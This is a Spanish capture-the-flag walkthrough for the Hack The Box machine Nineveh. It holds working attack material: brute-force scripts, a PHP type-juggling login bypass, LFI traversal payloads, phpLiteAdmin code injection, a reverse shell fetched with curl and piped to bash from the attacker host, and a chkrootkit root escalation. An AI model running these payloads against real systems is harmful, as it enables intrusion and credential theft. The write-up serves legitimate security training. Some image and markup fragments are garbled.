lund@home:~$

Autor: Lund K. S.

HTB_Nineveh HTB_Nineveh | Hacker-Blog

HTB_Nineveh

Nineveh {-}

Introduccion {-}

La maquina del dia 06/08/2021 se llama Nineveh .

El replay del live se puede ver aqui

S4vitaar Nineveh maquina

No olvideis dejar un like al video y un comentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.43

ttl: 63 -> maquina Linux. Recordar que en cuanto a ttl respecta 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya en una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.43

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.43 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80,443 10.10.10.43 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
80 http Web, fuzzing  
443 https Web, fuzzing  

Analizando la web {-}

Whatweb {-}

whatweb http://10.10.10.43
whatweb https://10.10.10.43

Los dos resultados son los mismos y no hay nada muy interesante

Chequear la web por comparar los 2 puertos {-}

Con firefox navegamos en la web para ver lo que es.

  • el puerto 80 nos muestra una pagina por defecto
  • el puerto 443 nos muestra una webapp con una imagen.

El resultado de los 2 puertos muestran resultados diferentes y parece que la buena web app esta en el puerto 443. Delante de esta situacion, siempre es interesante mirar lo que hay en el certificado

Chequear el contenido de el certificado SSL con openssl {-}

openssl s_client -connect 10.10.10.43:443

vemos una direccion de correo admin@nineveh.htb lo que quiere decir que tenemos un usuario y un dominio. Como no tenemos mucha mas informacion, vamos a fuzzear la web.

Fuzzing con WFuzz {-}

Fuzzeamos el puerto 80

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.43/FUZZ

Encontramos una ruta /department.

y tambien el puerto 443

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.43/FUZZ

Encontramos una ruta /db.

Analizamos el directorio department de puerto 80 {-}

Aqui vemos una pagina de Login. El wappalizer no nos muestra algo nuevo. Poniendo como nombre de usuario admin, la web nos señala un mensaje invalid password lo que quiere decir que el usuario existe. Vamos a utilizar fuzzing con BurpSuite para encontrar la contraseña del usuario admin.

Analizamos el directorio db de puerto 443 {-}

Aqui vemos una pagina de Login para un servicio phpLiteAdmin de version 1.9. Buscamos en internet si hay un default password para este servicio y efectivamente el default password del servicio es admin pero en este caso no funciona.

Evaluacion de vulnerabilidades {-}

Ataque de tipo intruder con burpsuite para el panel en el puerto 80 {-}

[ ! ] NOTA: como ya hemos echo este tipo de ataque en la maquina TheNotebook, las imagenes que siguen corresponden a la maquina TheNotebook. La technica es exactamente la misma, solo la IP y la url de las imagenes cambian.

  1. Creamos un diccionario basado en el rockyou.txt

     cd content
     head -n 10000 /usr/share/wordlists/rockyou.txt > passwords
    
  2. Desde burpsuite configuramos el scope hacia la url http://10.10.10.43
  3. En firefox le ponemos el foxyproxy para el burpsuite
  4. Lanzamos una peticion desde login con admin admin y la interceptamos con el burpsuite
  5. En burpsuite le damos al Ctrl+i para enviarlo al intruder
  6. Configuramos el attacker Sniper dando la posicion a la palabra password

otebook-sier-cofi

  1. Cargamos el diccionario creado a la payload list y le quitamos el Payload encoding

    ```{r, echo = FALSE, fig.cap=”nineveh sniper payload list”, out.width=”90%”} knitr::include_graphics(“images/notebook-sniper-list.png”)

otebook-sier-list - en Grep - Extract damos a ADD - le damos a Fetch response y seleccionamos el campo invalid password

    ```{r, echo = FALSE, fig.cap="nineveh sniper fetch response", out.width="90%"}
    knitr::include_graphics("images/notebook-fetch-response.png")
    ```

lo dejamos un ratito y ya podemos ver que filtrando por esta columna vemos una linea donde no esta escrito esto. Ya tenemos la contraseña. otebook-fetch-resose

Bruteforcear la contraseña con python {-}

Este seria la manera de hacer, lo que hemos echo con Burpsuite pero en python. El script nos viene del compañero s4dbrd.

#!/usr/bin/python3

import requests
import pdb
import sys
import signal

from pwn import *

# Variables Globales
login_url = 'http://nineveh.htb/department/login.php'


f = open("rockyou.txt", "r")

def def_handler(sig, frame):
    print("\n\nSaliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def bruteForce():
 
    s = requests.Session()

    passwords = f.readlines()
      
    for password in passwords:
        

        login_data = {
            'username': 'admin',
            'password': password.rstrip()
        }

        p1.status("Probando con la contraseña %s" %password)
        r = s.post(login_url, data=login_data)
        
        if 'Invalid Password!' not in r.text:
            p1.success("La contraseña correcta es %s" %password)
            sys.exit(0)

if __name__ == '__main__':

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")
    time.sleep(2)

    bruteForce()

Burlear el login panel con TypeJuggling {-}

Mas tarde en el video, el Tito nos muestra el codigo fuente de la pagina de login y se ve que en la comparativa del input Password, el desarollador de la pagina utiliza un codigo php

if(isset($_POST['username'] == $USER){
    if(strcmp($_POST['password'], $PASS ) == 0){
        S_SESSION['username'] = $USER;
        header( 'Location: manage.php' );
    }
}

El problema aqui es que usado el comando strcmp() para el password permite al atacante de burlar esto con un cambio de tipo.

Si la request normal es como la siguiente y nos pone incorrect password

POST /login.php HTTP/1.1
Host: 10.10.10.10
User-Agent: ...
Cookie: PHPSESSID=o36osnz71uw900ln395jhs

username=admin&password=admin

cambiandole el payload de la siguiente manera nos loggea sin problema

POST /login.php HTTP/1.1
Host: 10.10.10.10
User-Agent: ...
Cookie: PHPSESSID=o36osnz71uw900ln395jhs

username=admin&password[]=a

El symbolo [] cambia el tipo de variable y el strcmp() lo acepta.

Ataque de tipo intruder con burpsuite para el panel en el puerto 443 {-}

Para el panel de authentification del phpLiteAdmin, utilizamos la misma tecnica que para el panel de authentification del puerto 80 (Burpsuite). De esta manera tambien encontramos la contraseña y nos podemos conectar a la base de datos.

Bruteforcear la contraseña con python {-}

Este seria la manera de bruteforcear la contraseña con python. Este Script tambien nos viene del compañero s4dbrd.

#!/usr/bin/python3

import requests
import pdb
import sys
import signal
import urllib3


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from pwn import *

# Variables Globales
login_url = 'https://nineveh.htb/db/index.php'


f = open("rockyou.txt", "r")

def def_handler(sig, frame):
    print("\n\nSaliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def bruteForce():
 
    s = requests.Session()

    passwords = f.readlines()
      
    for password in passwords:
        

        login_data = {
            'password': password.rstrip(),
            'login': "Log+In",
            'proc_login': "true"
        }

        p1.status("Probando con la contraseña %s" %password)
        r = s.post(login_url, data=login_data, verify=False)
        
        if 'Incorrect password.' not in r.text:
            p1.success("La contraseña correcta es %s" %password)
            sys.exit(0)

if __name__ == '__main__':

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")
    time.sleep(2)

Analizamos el panel de administracion del puerto 80 {-}

Aqui vemos un link llamado Notes, pinchamos y se ve una nota. Nos llama la atencion la url 10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt Intentamos ver si es vulnerable a un LFI

10.10.10.43/department/manage.php?notes=files/../../../../../../etc/passwd
10.10.10.43/department/manage.php?notes=files/../../../../../../etc/passwd%00

Aqui nos pone la pagina un mensaje No notes selected. Probamos mas cosas.

10.10.10.43/department/manage.php?notes=files/ninevehNotes
10.10.10.43/department/manage.php?notes=files/ninevehNote

La differentes respuestas nos hacen pensar que hay un systema de White words list que functionna unicamente si tenemos la palabra ninevehNotes

10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../etc/passwd
10.10.10.43/department/manage.php?notes=ninevehNotes/../../../../../../etc/passwd
10.10.10.43/department/manage.php?notes=/ninevehNotes/../etc/passwd

Ya podemos ver el contenido del /etc/passwd y vemos un usuario amrois

Miramos mas contenidos interresantes

Checkeamos los puertos internos de la maquina {-}

Siempre es buena idea mirrar los puertos internos que estan abiertos. Desde fuera, connocemos los puertos 80 y 443.

  1. Approvechamos del LFI para ver el fichero proc tcp

     10.10.10.43/department/manage.php?notes=files/ninevehNotes/../proc/tcp
    
  2. copiamos esto en un fichero llamado data
  3. recuperamos la columna que contiene los puertos

     cat data
     cat data | awk '{print $2}'
     cat data | awk '{print $2}' | grep -v "address"
     cat data | awk '{print $2}' | grep -v "address" | awk '{print $2}' FS=":"
     cat data | awk '{print $2}' | grep -v "address" | awk '{print $2}' FS=":" | sort -u
    

Aqui vemos 3 puertos en formato hexadecimal. Lo miramos con python

python3

>>> 0x0016
22
>>> 0x0050
80
>>> 0x01BB
443

Ya sabemos ahora que hay el puerto 22 (ssh) que esta abierto internamente.

Checkeamos las informaciones del usuario amrois {-}

10.10.10.43/department/manage.php?notes=files/ninevehNotes/../home/amrois/.ssh/id_rsa
10.10.10.43/department/manage.php?notes=files/ninevehNotes/../home/amrois/user.txt

No vemos nada. Vamos a ver lo que podemos hacer con la base de datos del puerto 443

Analyzando la base de datos {-}

searchsploit phpliteadmin 1.9

Aqui vemos un exploit tipo Multiple Vulnerabilities y una Remote PHP Code Injection. Miramos el del RPCI

searchsploit -x 24044

Aqui vemos que si creamos una base de datos, el nombre que entramos sera seguido de la extension apropriada. Un atacante puede crear una base de datos con una extension php y insertar PHP code para posteriorment ejecutarlo.

Explotacion de vulnerabilidad & Ganando Acceso {-}

Conexion desde phpliteadmin {-}

  1. Creamos una base de datos llamada hack.php

    ```{r, echo = FALSE, fig.cap=”create hack.php database”, out.width=”90%”} knitr::include_graphics(“images/phpliteadmin-hack-php.png”)

    
     Si pinchamos el link de la hack.php database vemos que a sido creado en `/var/tmp/hack.php`
    
     knitr::include_graphics("images/phpliteadmin-create-table.png")
    ![hliteadmi-hack-h](../assets/images/phpliteadmin-hack-php.png) 
    
  2. Entramos un comando PHP en la tabla

    ```{r, echo = FALSE, fig.cap=”insert php command”, out.width=”90%”} knitr::include_graphics(“images/phpliteadmin-insert-command.png”)

hliteadmi-create-table

  1. y con el uso de la LFI miramos lo que passa

    ```{r, echo = FALSE, fig.cap=”phpliteadmin RCE”, out.width=”90%”} knitr::include_graphics(“images/phpliteadmin-rce.png”)

hliteadmi-isert-commad

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    

    #!/bin/bash hliteadmi-rce

    bash -i >& /dev/tcp/10.10.14.8/443 0>&1 ```

  2. Compartimos un servidor web con python

     python3 -m http.server 80
    
  3. Lanzamos la reverse shell por la web

     10.10.10.43/department/manage.php?notes=files/ninevehNotes/../var/tmp/hack.php&cmd=curl -s 10.10.14.8|bash
    

ya hemos ganado accesso al sistema.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Analizamos el sistema {-}

pwd
ls -l
cd ..
ls
cd ..
ls

Aqui vemos que hay un directorio llamado ssl que contiene otro directorio secure_notes y como todo esto esta en /var/www/html miramos en firefox lo que es. https://10.10.10.43/secure_notes y vemos una imagen. Como el directorio se llama secure_notes, pensamos directamente en steganografia y nos descargamos la image

Analizando los bits menos significativos de la imagen {-}

steghide info nineveh.png
file nineveh.png
exiftool nineveh.png
strings nineveh.png

El comando strings nos muestra una key id_rsa privada y una publica del usuario amrois. Como no tenemos accesso al ssh desde fuera copiamos esta clave en la maquina victima y le hacemos el tratamiento de siempre

Conexion por SSH {-}

En la maquina victima:

cd /tmp
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa amrois@localhost

Ya estamos conectados como amrois y podemos leer la flag.

Otra manera de conectarnos a la maquina {-}

Si durante el analisis del sistema hubieramos ido hasta mirar los processos que estan habiertos en background, ubieramos encontrado que la utilidad knockd estava lanzada.

Knockd es una utilidad para escuchar o lanzar Port Knocking.

ps -faux
cat /etc/knockd.conf

Aqui podemos ver que si Knockamos los puertos 571,290,911 se abriria el puerto 22 al exterior y si Knockeamos los puertos 911,290,571 se ceraria.

lo comprobamos desde la maquina de atacante:

nmap -p22 10.10.10.43 --open -T5 -v -n

Aqui vemos quel puerto 22 esta cerrado

knock 10.10.10.43 571:tcp 290:tcp 911:tcp
nmap -p22 10.10.10.43 --open -T5 -v -n

Aqui vemos que el puerto 22 se a abierto, y desde aqui nos podemos connectar por ssh como el usuario amrois.

Escalada de privilegios {-}

Rootear la maquina {-}

ls -la
id
sudo -l
cd /root

Aqui no vemos nada interesante y no podemos entrar en el directorio root.

Analisis de processos con PSPY {-}

instalamos la herramienta en la maquina de atacante y lo compartimos con un web server.

git clone https://github.com/DominicBreuker/pspy
cd pspy
go build -ldflags "-s -w" main.go
upx main
mv main pspy
python3 -m http.server 80

Desde la maquina victima, downloadeamos el fichero y lo lanzamos

wget http://10.10.14.8/pspy
chmod +x pspy
./pspy

Esperamos un poco y vemos que hay un script /usr/bin/chkrootkit que se ejecuta a interval regular de tiempo.

Priviledge escalation con chkrootkit {-}

searchsploit chkrootkit

Ya vemos que hay un exploit para Local Priviledge Escalation. Lo analizamos.

searchsploit -x 33899

Creamos un fichero llamado update en tmp

cd /tmp
echo '#!/bin/bash\n\nchmod 4755 /bin/bash' > update
chmod +x update
watch -n 1 ls -l /bin/bash

Ya podemos utilizar bash para convertirnos en root

bash -p
whoami
#Output

root

Ya hemos rooteado la maquina y podemos ver la flag.